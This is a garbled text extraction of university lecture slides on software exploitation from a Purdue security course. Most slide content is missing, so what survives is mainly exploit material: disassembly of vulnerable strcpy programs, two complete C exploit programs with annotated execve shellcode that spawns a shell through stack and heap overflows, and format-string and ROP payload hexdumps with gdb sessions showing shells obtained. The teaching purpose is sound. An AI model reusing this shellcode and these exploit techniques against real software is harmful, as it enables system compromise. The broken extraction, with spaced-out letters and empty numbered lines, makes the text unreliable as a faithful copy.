CS-527 Software Security
Exploitation
- Asst. Prof. Mathias Payer
Department of Computer Science Purdue University TA: Kyriakos Ispoglou https://nebelwelt.net/teaching/17-527-SoftSec/
CS-527 Software Security Exploitation Asst. Prof. Mathias Payer - - PowerPoint PPT Presentation
CS-527 Software Security Exploitation Asst. Prof. Mathias Payer Department of Computer Science Purdue University TA: Kyriakos Ispoglou https://nebelwelt.net/teaching/17-527-SoftSec/ Spring 2017 Exploitation: Context/Disclaimer In this module
Department of Computer Science Purdue University TA: Kyriakos Ispoglou https://nebelwelt.net/teaching/17-527-SoftSec/
Mathias Payer (Purdue University) CS-527 Software Security 2017 2 / 37
Attack Vectors
1
2
3
4
5
6
Mathias Payer (Purdue University) CS-527 Software Security 2017 3 / 37
Attack Vectors
1 void
2
3
4
5 }
Mathias Payer (Purdue University) CS-527 Software Security 2017 4 / 37
Attack Vectors
1 char
2
3
4
5
6
7
8 }
Mathias Payer (Purdue University) CS-527 Software Security 2017 5 / 37
Attack Vectors
1 char
2
3 }
Mathias Payer (Purdue University) CS-527 Software Security 2017 6 / 37
Attack Vectors
Mathias Payer (Purdue University) CS-527 Software Security 2017 7 / 37
Attack Vectors
1 char
2
3 }
Mathias Payer (Purdue University) CS-527 Software Security 2017 8 / 37
Code Injection: Stack
1
2
3
4
5
6
Mathias Payer (Purdue University) CS-527 Software Security 2017 9 / 37
Code Injection: Stack
Mathias Payer (Purdue University) CS-527 Software Security 2017 10 / 37
Code Injection: Stack
1 i n t
2
3 needle :
4 goback :
5
6
7
8
9
10 gofar :
11 . s t r i n g
12 ” ) ; 13 } 14 15 i n t
16
17 } Mathias Payer (Purdue University) CS-527 Software Security 2017 11 / 37
Code Injection: Stack
1 00000000004004 f1 <needle >: 2
3 4 00000000004004 f3 <goback >: 5
6
7
8
9
10
11 12 0000000000400501 <gofar >: 13
14
15
16
Mathias Payer (Purdue University) CS-527 Software Security 2017 12 / 37
Code Injection: Stack
1 i n t
2
3
4
5
6
7 } 8 9 // Compile :
10 // Run w/o ASLR :
Mathias Payer (Purdue University) CS-527 Software Security 2017 13 / 37
Code Injection: Stack
1 00000000004005 cd <main>: 2 4005 cd : 55 push %rbp 3 4005 ce : 48 89 e5 mov %rsp ,%rbp 4 4005 d1 : 48 83 ec 30 sub $0x30 ,% rsp 5 4005 d5 : 89 7d dc mov %edi ,−0x24(%rbp ) 6 4005 d8 : 48 89 75 d0 mov %r s i ,−0x30(%rbp ) 7 4005 dc : bf c4 06 40 00 mov $0x4006c4 ,% e d i 8 4005 e1 : e8 aa f e f f f f c a l l q 400490 <getenv@plt> 9 4005 e6 : 48 89 c2 mov %rax ,% rdx 10 4005 e9 : 48 8d 45 e0 l e a −0x20(%rbp ) ,% rax 11 4005 ed : 48 89 c6 mov %rax ,% r s i 12 4005 f0 : bf c8 06 40 00 mov $0x4006c8 ,% e d i 13 4005 f5 : b8 00 00 00 00 mov $0x0 ,%eax 14 4005 fa : e8 b1 f e f f f f c a l l q 4004 b0 <p r i n t f @ p l t > 15 4005 f f : 48 8b 45 d0 mov −0x30(%rbp ) ,% rax 16 400603: 48 83 c0 08 add $0x8 ,% rax 17 400607: 48 8b 10 mov (%rax ) ,% rdx 18 40060 a : 48 8d 45 e0 l e a −0x20(%rbp ) ,% rax 19 40060 e : 48 89 d6 mov %rdx ,% r s i 20 400611: 48 89 c7 mov %rax ,% r d i 21 400614: e8 87 f e f f f f c a l l q 4004 a0 <s t r c p y @ p l t> 22 400619: 48 8d 45 e0 l e a −0x20(%rbp ) ,% rax 23 40061d : 48 89 c6 mov %rax ,% r s i 24 400620: bf e3 06 40 00 mov $0x4006e3 ,% e d i 25 400625: b8 00 00 00 00 mov $0x0 ,%eax 26 40062 a : e8 81 f e f f f f c a l l q 4004 b0 <p r i n t f @ p l t > 27 40062 f : b8 00 00 00 00 mov $0x0 ,%eax 28 400634: c9 l e a v e q 29 400635: c3 r e t q Mathias Payer (Purdue University) CS-527 Software Security 2017 14 / 37
Code Injection: Stack
1 #d e f i n e BUFSIZE 0x20 2 #d e f i n e EGGLOC 0 x 7 f f f f f f f e f c 8 3 i n t main ( i n t argc , char∗ argv [ ] ) { 4 char s h e l l c o d e [ ] = ”EGG=” 5 ”\xeb\x0e ” // jump +0xe (+14) 6 ”\x5f ” // push %r d i 7 ”\x48\x31\xc0 ” // xor %rax , %rax 8 ”\xb0\x3b” // mov $0x3b , %a l 9 ”\x48\x31\xf6 ” // xor %r s i , %r s i 10 ”\x48\x31\xd2” // xor %rdx , %rdx 11 ”\x0f\x05” // s y s c a l l 12 ”\xe8\xed\ x f f \ x f f \ x f f \x2f ” // c a l l 0 xed (−19) 13 ”\x62\x69\x6e\x2f\x73\x68\x00\x5d” ; // / bin / bash+\0 14 15 // f i l l b u f f e r + ebp with 0x41 ’ s 16 char buf [ 2 5 6 ] ; 17 f o r ( i n t i = 0; i <BUFSIZE+s i z e o f ( void ∗) ; buf [ i ++] = ’A ’ ) ; 18 19 //
RIP with eggloc 20 char ∗∗ b u f f = ( char ∗∗)(&buf [ BUFSIZE+s i z e o f ( void ∗) ] ) ; 21 ∗( b u f f++) = ( void ∗)EGGLOC; 22 ∗ b u f f = ( void ∗)0x0 ; 23 24 // setup e x e c u t i o n environment and f i r e e x p l o i t 25 char ∗args [ 3 ] = { ” ./ s i n j ” , buf , NULL }; 26 char ∗envp [ 2 ] = { s h e l l c o d e , NULL}; 27 execve ( ” . / s i n j ” , args , envp ) ; 28 r e t u r n 0; 29 } Mathias Payer (Purdue University) CS-527 Software Security 2017 15 / 37
Code Injection: Stack
Mathias Payer (Purdue University) CS-527 Software Security 2017 16 / 37
Code Injection: Heap
1
2
3
4
5
6
Mathias Payer (Purdue University) CS-527 Software Security 2017 17 / 37
Code Injection: Heap
1 s t r u c t
2
3
4 } ∗ ptr ;
5 6 i n t
7
8
9
10
11
12
13
14 } 15 // Compile :
16 // Run w/o ASLR :
Mathias Payer (Purdue University) CS-527 Software Security 2017 18 / 37
Code Injection: Heap
1 000000000040060d <main>: 2 40060d : 55 push %rbp 3 40060 e : 48 89 e5 mov %rsp ,%rbp 4 400611: 48 83 ec 10 sub $0x10 ,% rsp 5 400615: 89 7d f c mov %edi ,−0x4(%rbp ) 6 400618: 48 89 75 f0 mov %r s i ,−0x10(%rbp ) 7 40061 c : bf 28 00 00 00 mov $0x28,% e d i 8 400621: e8 da f e f f f f c a l l q 400500 <malloc@plt> 9 400626: 48 89 05 33 0a 20 00 mov %rax ,0 x200a33(% r i p ) # 601060 <ptr> 10 40062d : 48 8b 05 2c 0a 20 00 mov 0 x200a2c(% r i p ) ,% rax # 601060 <ptr> 11 400634: 48 c7 40 20 10 05 40 movq $0x400510 ,0 x20(%rax ) 12 40063b : 00 13 . . . ( removed
the p r i n t f statements ) 14 400655: 48 8b 45 f0 mov −0x10(%rbp ) ,% rax 15 400659: 48 83 c0 08 add $0x8 ,% rax 16 40065d : 48 8b 10 mov (%rax ) ,% rdx 17 400660: 48 8b 05 f9 09 20 00 mov 0 xe009f9(% r i p ) ,% rax # 601060 <ptr> 18 400667: 48 89 d6 mov %rdx ,% r s i 19 40066 a : 48 89 c7 mov %rax ,% r d i 20 40066d : e8 4e f e f f f f c a l l q 4004 c0 <s t r c p y @ p l t> 21 400672: 48 8b 05 e7 09 20 00 mov 0 x2009e7(% r i p ) ,% rax # 601060 <ptr> 22 400679: 48 89 c6 mov %rax ,% r s i 23 40067 c : bf 4b 07 40 00 mov $0x40074b ,% e d i 24 400681: b8 00 00 00 00 mov $0x0 ,%eax 25 400686: e8 45 f e f f f f c a l l q 4004 d0 <p r i n t f @ p l t > 26 40068b : 48 8b 05 ce 09 20 00 mov 0 x2009ce(% r i p ) ,% rax # 601060 <ptr> 27 400692: 48 8b 40 20 mov 0x20(%rax ) ,% rax 28 400696: bf 00 00 00 00 mov $0x0 ,% e d i 29 40069b : f f d0 c a l l q ∗%rax 30 40069d : b8 00 00 00 00 mov $0x0 ,%eax ; c9 l e a v e q ; c3 r e t Mathias Payer (Purdue University) CS-527 Software Security 2017 19 / 37
Code Injection: Heap
1 #d e f i n e BUFSIZE 0x20 2 #d e f i n e EGGLOC 0 x403010 3 i n t main ( i n t argc , char∗ argv [ ] ) { 4 char s h e l l c o d e [ ] = 5 ”\x48\x31\xd2” // xor %rdx , %rdx 6 ”\x52” // push %rdx 7 ”\x58” // pop %rax 8 ”\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68” 9 // mov $0x68732f6e69622f2f , %rbx (”// bin / bash ”) 10 ”\x48\xc1\xeb\x08” // shr $0x8 , %rbx 11 ”\x53” // push %rbx 12 ”\x48\x89\xe7 ” // mov %rsp , %r d i 13 ”\x50” // push %rax 14 ”\x57” // push %r d i 15 ”\x48\x89\xe6 ” // mov %rsp , %r s i 16 ”\xb0\x3b” // mov $0x3b , %a l 17 ”\x0f\x05” ; // s y s c a l l 18 19 char buf [ 2 5 6 ] ; 20 memcpy( buf , s h e l l c o d e , s i z e o f ( s h e l l c o d e )−1) ; 21 f o r ( i n t i = s i z e o f ( s h e l l c o d e ) −1; i < BUFSIZE ; buf [ i ++] = ’A ’ ) ; 22 //
f c t p t r with eggloc 23 char ∗∗ b u f f = ( char ∗∗)(&buf [ BUFSIZE ] ) ; 24 ∗( b u f f ) = ( void ∗)EGGLOC; 25 26 // setup e x e c u t i o n environment and f i r e e x p l o i t 27 char ∗args [ 3 ] = { ” ./ heap” , buf , NULL }; 28 execve ( ” . / heap” , args , NULL) ; 29 r e t u r n 0; 30 } Mathias Payer (Purdue University) CS-527 Software Security 2017 20 / 37
Code Injection: Heap
Mathias Payer (Purdue University) CS-527 Software Security 2017 21 / 37
Code Reuse: Format string
1
2
3
4
5
6
Mathias Payer (Purdue University) CS-527 Software Security 2017 22 / 37
Code Reuse: Format string
Mathias Payer (Purdue University) CS-527 Software Security 2017 23 / 37
Code Reuse: Format string
1 void
2 { 3
4
5
6 } 7 8 void
9 { 10
11
12
13 } 14 15 void
16
17 } Mathias Payer (Purdue University) CS-527 Software Security 2017 24 / 37
Code Reuse: Format string
00000000 7c cf ff ff 7e cf ff ff 25 31 24 32 30 34 34 63 ||...~...%1$2044c| 00000010 25 37 24 68 6e 25 31 24 33 32 30 30 37 63 25 36 |%7$hn%1$32007c%6| 00000020 24 68 6e 0a |$hn.|
Mathias Payer (Purdue University) CS-527 Software Security 2017 25 / 37
Code Reuse: Format string
gannimo@localhost:~/repos/teach/CS527/examples{0}$ \ gdb -q --args ./01-formatstring ‘./sop.py -w 0xffffcf7c -v 0x0804850b -s 6‘ Reading symbols from ./01-formatstring...(no debugging symbols found)...done. (gdb) r ... ? Returned safely we are now behind enemy lines... $ whoami gannimo $ exit [Inferior 1 (process 26455) exited with code 01] (gdb) q We can also use setarch x86 64 -R ... instead of using gdb. Why do the offsets change?
Mathias Payer (Purdue University) CS-527 Software Security 2017 26 / 37
Code Reuse: Format string
00000000 6c cf ff ff 6e cf ff ff 25 31 24 32 30 34 34 63 |l...n...%1$2044c| 00000010 25 36 24 68 6e 25 31 24 33 32 31 32 37 63 25 35 |%6$hn%1$32127c%5| 00000020 24 68 6e 0a |$hn.|
Mathias Payer (Purdue University) CS-527 Software Security 2017 27 / 37
Code Reuse: Format string
gannimo@localhost:~/repos/teach/CS527/examples{0}$ \ gdb -q --args ./02-formatstring ‘./sop.py -w 0xffffcf6c -v 0x08048583 -s 5‘ Reading symbols from ./01-formatstring...(no debugging symbols found)...done. (gdb) r ... 1 Returned safely we are now behind enemy lines... $ whoami gannimo $ exit [Inferior 1 (process 26959) exited with code 01] (gdb) q
Mathias Payer (Purdue University) CS-527 Software Security 2017 28 / 37
Code Reuse: Format string
Mathias Payer (Purdue University) CS-527 Software Security 2017 29 / 37
Code Reuse: Format string
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000010 b3 ba f3 c0 f0 83 04 08 10 a0 04 08 10 a0 04 08 |................| 00000020 12 a0 04 08 14 a0 04 08 16 a0 04 08 18 a0 04 08 |................| 00000030 1a a0 04 08 25 31 24 32 38 32 31 33 63 25 31 33 |....%1$28213c%13| 00000040 24 68 6e 25 31 24 36 32 34 30 36 63 25 31 32 24 |$hn%1$62406c%12$| 00000050 68 6e 25 31 24 34 30 35 30 35 63 25 31 35 24 68 |hn%1$40505c%15$h| 00000060 6e 25 31 24 32 39 33 38 33 63 25 31 34 24 68 6e |n%1$29383c%14$hn| 00000070 25 31 24 33 38 31 30 31 63 25 31 37 24 68 6e 25 |%1$38101c%17$hn%| 00000080 31 24 33 32 33 38 39 63 25 31 36 24 68 6e 0a |1$32389c%16$hn.| 0000008f
Mathias Payer (Purdue University) CS-527 Software Security 2017 30 / 37
Code Reuse: Format string
gannimo@localhost:~/repos/teach/CS527/examples{0}$ \ ./03-formatstring-2ROP ‘./sop.py -r 0x41414141 -r 0x41414141 -r 0x41414141 -r \ 0x41414141 -r 0xc0f3bab3 -r 0x080483f0 -r 0x0804a010 -s 12 -w 0x804a010 -v \ 0x6e69622f -w 0x804a014 -v 0x0068732f -w 0x804a018 -v 0x08048689‘ \ ... \[\033[0;32m\]\u\[\033[0;37m\]@\[\033[0;36m\]\h\[\033[0;37m\]:\[\033[1;34m\]\w \[\033[0;37m\]{\[\033[0;31m\]0\[\033[0;37m\]}\[\033[0;32m\]$\[\033[0;37m\] export PS1="$ " $ whoami gannimo $ exit Segmentation fault gannimo@localhost:~/repos/teach/CS527/examples{139}$
Mathias Payer (Purdue University) CS-527 Software Security 2017 31 / 37
Data-Only Attack
1
2
3
4
5
6
Mathias Payer (Purdue University) CS-527 Software Security 2017 32 / 37
Data-Only Attack
1 void
2
3
4
5
6
7
8
9
10
11
12
13 } Mathias Payer (Purdue University) CS-527 Software Security 2017 33 / 37
Data-Only Attack
1
2
3
4
Mathias Payer (Purdue University) CS-527 Software Security 2017 34 / 37
Summary and conclusion
1
2
3
4
5
6
Mathias Payer (Purdue University) CS-527 Software Security 2017 35 / 37
Summary and conclusion
Mathias Payer (Purdue University) CS-527 Software Security 2017 36 / 37
Summary and conclusion
Mathias Payer (Purdue University) CS-527 Software Security 2017 37 / 37